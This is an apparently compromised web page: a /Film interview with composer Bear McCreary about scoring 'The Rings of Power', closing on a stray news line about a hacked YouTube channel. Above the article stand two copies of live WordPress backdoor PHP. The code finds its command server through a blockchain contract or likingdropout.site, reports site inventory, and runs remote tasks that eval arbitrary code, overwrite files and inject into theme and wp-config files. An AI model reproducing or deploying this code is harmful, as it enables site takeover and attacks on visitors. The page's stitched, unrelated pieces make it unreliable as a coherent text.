// q2_xh
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php',
'ctrl'=>'// q2_xh',
'vis'=>'// xp_v9',
'vis_func'=>'wp_dia8xd',
'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'),
'opt'=>'_wp_47nl0jvi',
);
$keys=array();
$keys['id']='kun';
$keys['ver']='em';
$keys['caps']='eby';
$keys['tasks']='awd';
$keys['interval']='pww';
$keys['ack_id']='nl0';
$keys['ok']='9s';
$keys['detail']='wyy';
$keys['inv']='kxw';
$keys['result']='f3t';
$hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
// l0_9z
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php',
'ctrl'=>'// l0_9z',
'vis'=>'// zn_yn',
'vis_func'=>'wp_cuzg8t',
'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'),
'opt'=>'_wp_mtrhds4x',
);
$keys=array();
$keys['id']='ybc';
$keys['ver']='a1';
$keys['caps']='afo';
$keys['tasks']='x9t';
$keys['interval']='2e4';
$keys['ack_id']='k72';
$keys['ok']='ch';
$keys['detail']='xd9';
$keys['inv']='hw8';
$keys['result']='0bb';
$hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});

We’re living in a golden age of fantasy, with “The Lord of the Rings: The Rings of Power” and “House of the Dragon” showing us vastly different yet equally exciting worlds (and “Willow” following close behind). “The Rings of Power” especially is a real gift, a show that manages the impossible by turning J.R.R. Tolkien’s massive legendarium into a cohesive story of corruption and grief in a world before it became tainted by war.
“The Rings of Power” features gorgeous production design, a phenomenal cast, a great adaptation of the lore and mythos, and also a spectacular soundtrack that creates both a direct line of connection between the show and the Peter Jackson movies so they feel part of the same story. But it’s also different enough to make it clear this is a very different age.
Composer Bear McCreary has already given us fantastic scores in major franchises, like “Godzilla,” “Battlestar Galactica,” and more, but his score for “The Rings of Power” is on another level. /Film spoke with McCreary about crafting a new sound for Middle-earth, how Black Speech makes everything more intimidating, thinking of future seasons, and more.

What was your reaction upon getting the job? And what was your first thought regarding your goal for the sound of the show?
When I came on board, I think I brought with me all the years of being a huge fan of the writings of Tolkien, [as well as] the film adaptations. In many ways that had to color my experience, but I also really needed to score the story at hand and tell the story of these characters and these places. So I tried to balance that, my desire to create something new, and also to write something that could live alongside all this music that was been rolling around inside my head as a fan for my entire life.
The show is already renewed for season 2, how much of the overall story did you know in advance when crafting the score?
I knew a lot because I sat down with the showrunners and I read all the scripts and spoke with them about not only the episodes we’re working on, but the entire series, what the vision is for where the entire show is going to go. So while I initially have been tasked with scoring eight hours of drama. I am thinking about essentially 50 hours. How are these themes that I might write going to evolve over that long run?
And in some cases it’s a little early to get into detailed conversations about that. In other cases, it’s not. When I’m thinking about themes for Elrond, Elendil, Isildur, these are characters that I think all fans have an idea where they’re going to go. So I wanted to write a theme for them, and Sauron as well. Galadriel as well, that could evolve in ways that we all as fans want it to evolve.
That was a challenge, but it was also really fun because I was able to work with this huge expansive canvas, the likes of which come across in a composer’s career very rarely.

What was the first track or sound that you made once you came on board the show?
I came up with a list of about 15 themes that I needed to write for the first season. It ended up being, I think, even a couple more than that. But I wanted to write in an order that made the most sense to me. I wanted to start easy. Why start with something that was too challenging? What theme would be the easiest for me to wrap my head around? And really, it was the theme for the dwarves in Khazad-dûm. I feel like deep down inside, I think I am one of the dwarves. If I related to any of those cultures, I’m a dwarf deep down inside.And I imagined this churning, mechanical string pattern, and I imagined musicians with anvils clanging them with metal hammers. Then I imagined a choir singing in Khuzdul, a patriotic rousing text. And I knocked that out. And truly the first draft is almost identical to what you heard in episode two.
That was one of those things that did come very naturally to me. I don’t know why, it’s just the way my brain is wired.
On the opposite end, what was the theme you wanted to leave for last?
I think it was Elrond that was the most challenging. Interestingly, it was my fandom of the Peter Jackson films that made it more of a struggle to write a theme for Elrond. Before I took on this show, I think of Elrond, not only with Hugo Weaving’s depiction from the Peter Jackson films, but even from the way he’s written in the original books, as this incredible authority figure. He’s so wise and ancient. He is not to be messed with. He is stern and clear.
And we meet him in “The Rings of Power,” where he’s an optimist, an idealist, a politician, a diplomat. In a way, he’s sort of an orphan. He is not the defining authority figure of Lindon, obviously not. He’s underneath Gil-galad, he’s working with Celebrimbor. He’s very much on his way up through the ranks. And his father and his brother are these incredibly accomplished mythic figures. And he does not have these accomplishments under his belt. What’s that like?
So in a way, I had to let all that other stuff go and focus on who he is in the beginning of the story of “Rings of Power” and create something that was a little more idealistic, and optimistic, and youthful, but a melody that turned around on itself. And it moves from major to minor in such a way that it itself is a little lost. It’s looking for its place.
And I’m excited to expand upon that theme over the course of the show, as he inevitably rises through those ranks to become more of an authority figure for the elves.
But it wasn’t easy. It definitely took me a minute and a few tries, and JD Payne and Patrick McKay were super helpful in guiding me along those narrative shifts.

One cool thing about the show is that were seeing places we’ve never seen on the screen before, like Númenor and Valinor. What inspired you in making the sound of those places?
I was really excited at the possibility of exploring familiar sounds, first of all, that we associate with the Peter Jackson films and Howard Shore’s writing. I did not want to unpleasantly surprise anybody. I thought ethereal light vocals for the elves, and deep male vocals for the dwarves, and a subtly Celtic influence for the Harfoots who would become our hobbits. So those were givens.
It was really interesting though, working with colors that are new, in particular Númenor, where there really wasn’t a sound, and there hasn’t really been a sound associated with Númenor. So I was inspired to give Númenor a color that would be different than anything else we’d heard in any Tolkien adaptations in a prominent way.
So I featured a lot of Middle Eastern and Mediterranean colors. There’s an Armenian woodwind instrument called a Duduk that combines with a Turkish string instrument called a tambur. By using these sounds, I’m creating something that is new to fans that have been watching adaptations of Tolkien. And I wanted that feeling when we pull into Númenor of hearing something that is different, that has its own identity because the high men of Númenor and the low men of the Southlands are meant to be very different.

One thing I love about Howard Shore’s score is how he used instruments with a long history. I’m curious if that’s something you brought over to the show.
I always love to use exciting colors from cultural music from around the world in my scores. And indeed, if one were to listen to my work on “Battlestar Galactica” or “Godzilla: King of the Monsters” or “Outlander” or “God of War,” you would hear all kinds of different colors. So this is something I have been researching my entire career. And that research was incredibly helpful in doing “The Lord of the Rings, The Rings of Power.”
Some of these colors are continuous with what Howard Shore did in the films. In the films, when we meet Rohan, the riders of Rohan and that sort of nation, it’s associated with a hardanger fiddle, a Nordic instrument called the hardanger fiddle in those scores.
Sure enough, in “The Rings of Power,” I’m using a hardanger fiddle in combination with another Nordic instrument called a nyckelharpa to represent the southlands, the low men, the men who are not descended from Numenorian ancestry.
So in that way, I’m trying to create something continuous with what Howard Shore did. Howard had a Celtic influence to the Shire and to the hobbits that he really filtered through a British folk music lens. I would not describe the Shire theme as particularly Celtic. It’s really more like British. It feels like British folk music with a little Celtic whistle now and again.
But I leaned into that color, the Celtic side, much more. I’m using Uilleann pipes from Ireland, small Scottish bagpipes from Scotland, a Bodhran, which is a frame drum used in Irish music that has this vocal pitch bendy quality, and Irish penny whistles and tin whistles. It’s almost as if to imply that there’s a more portable, more Celtic, more earthy Celtic color for the Harfoots that will settle down into a more British folk music color thousands of years from now in the Shire.
So they’re not the same. They are different, but they’re continuous. And I loved the idea of being able to use those colors to tell that story.

What is one element from Howard Shore’s score you wanted to keep for the show, and one that you specifically wanted to stray away from or do differently to make clear this is a different story?
I think the thing I wanted to preserve was a sense of continuity. I wanted fans who love the Peter Jackson films, fans like myself, to listen to the music of Khazad-dum, the music of Lindon, the music of Sauron, and to nod their head and say, “Yes, yes, that is correct. That is what I want that to sound like.” And that’s not even a very specific element. It’s a general mood, a general sense of connection that is built from an indescribable number of very specific little musical decisions, ingredients in the cake that are similar.In terms of setting it apart, I want themes that represent our characters as they exist now. I already discussed Elrond as an idealist and a diplomat and a bit of an orphan. Galadriel is driven by a sense of justice, if not a sense of revenge. She is not the calm, wise character she will become. So I wanted to write a theme that had an evocative melody, but really also has a sense of urgency, and drive, and motivation so that we can feel her evolve over the course of our show.
I think the things that are different are very obvious. I mean, it’s the Numenor theme, inevitably it’s different. I am not able to write in someone else’s language. It is my language. So it’s inevitable that it would be different. My biggest hope is that it feels right, and that people fall in love with this depiction of Middle-earth, and that the music is one of the many reasons they go on the journey.

Something I love about the show is the inclusion of choirs in different languages. Can you talk about including dwarvish, two elvish languages, and bringing it together for the music of the show?
Yeah, it’s pretty exciting to be able to work with the different languages that Tolkien devised for his legendarium. I felt that the score would not be complete if those languages were not integrated into the score. So I worked closely with JD Payne, one of the writers and showrunners, and Leif McPherson, our dialect coach, to make sure that every cue that has choir and features text that is sung in an appropriate language saying an appropriate idea. And Leif created pronunciation guides. She would very slowly and articulately record every syllable so the choir could listen while they were recording, and before they rehearsed they would get all the pronunciation correct. And it was fascinating, the emotional impact that had, because Tolkien was really clever about how he devised his languages. Black Speech has a lot of consonants, has a lot of percussion built into the way it is even said.
So to even say it correctly made it scarier. There’s a cue in the second episode where Bronwyn is running into the town to warn everyone that something terrible is coming. And I wrote the quotation of the Sauron theme there because there’s a threat. There’s something evil coming. And when I heard the recording, it was 10 times more aggressive and scary than I thought it was going to be. And I chimed into the conductor and I said, “What’s happening with the dynamic here? It’s not meant to be super loud.”And then I realized it was the pronunciation, it’s the word itself. And I thought about how in the books and in the movies to speak Black Speech causes the world around you to turn dark. An evil presence happened. And sure enough, that happened in the recording. There was a sense of ominous evil that came out of those words just because you must pronounce the consonants in a very specific way.
That was fascinating. I feel like that was Tolkien’s values and language influencing the score in a very unique and the specific way. And I thought it was just a wonderful opportunity as a composer to get to work with those languages.
“The Lord of the Rings: The Rings of Power” is streaming on Prime Video.
Read this next: 13 Fantasy Shows Like The Lord Of The Rings: The Rings Of Power You Should Check Out
The post The Lord of the Rings: The Rings of Power’s Bear McCreary on the Power of Black Speech, Crafting a New Sound for Middle-earth [Exclusive Interview] appeared first on /Film.
]]>NTB/Carina Johansen via REUTERS
The South Korean government's official YouTube channel was hacked on Saturday morning to broadcast a video featuring billionaire Elon Musk chatting about cryptocurrency, according to local media reports.
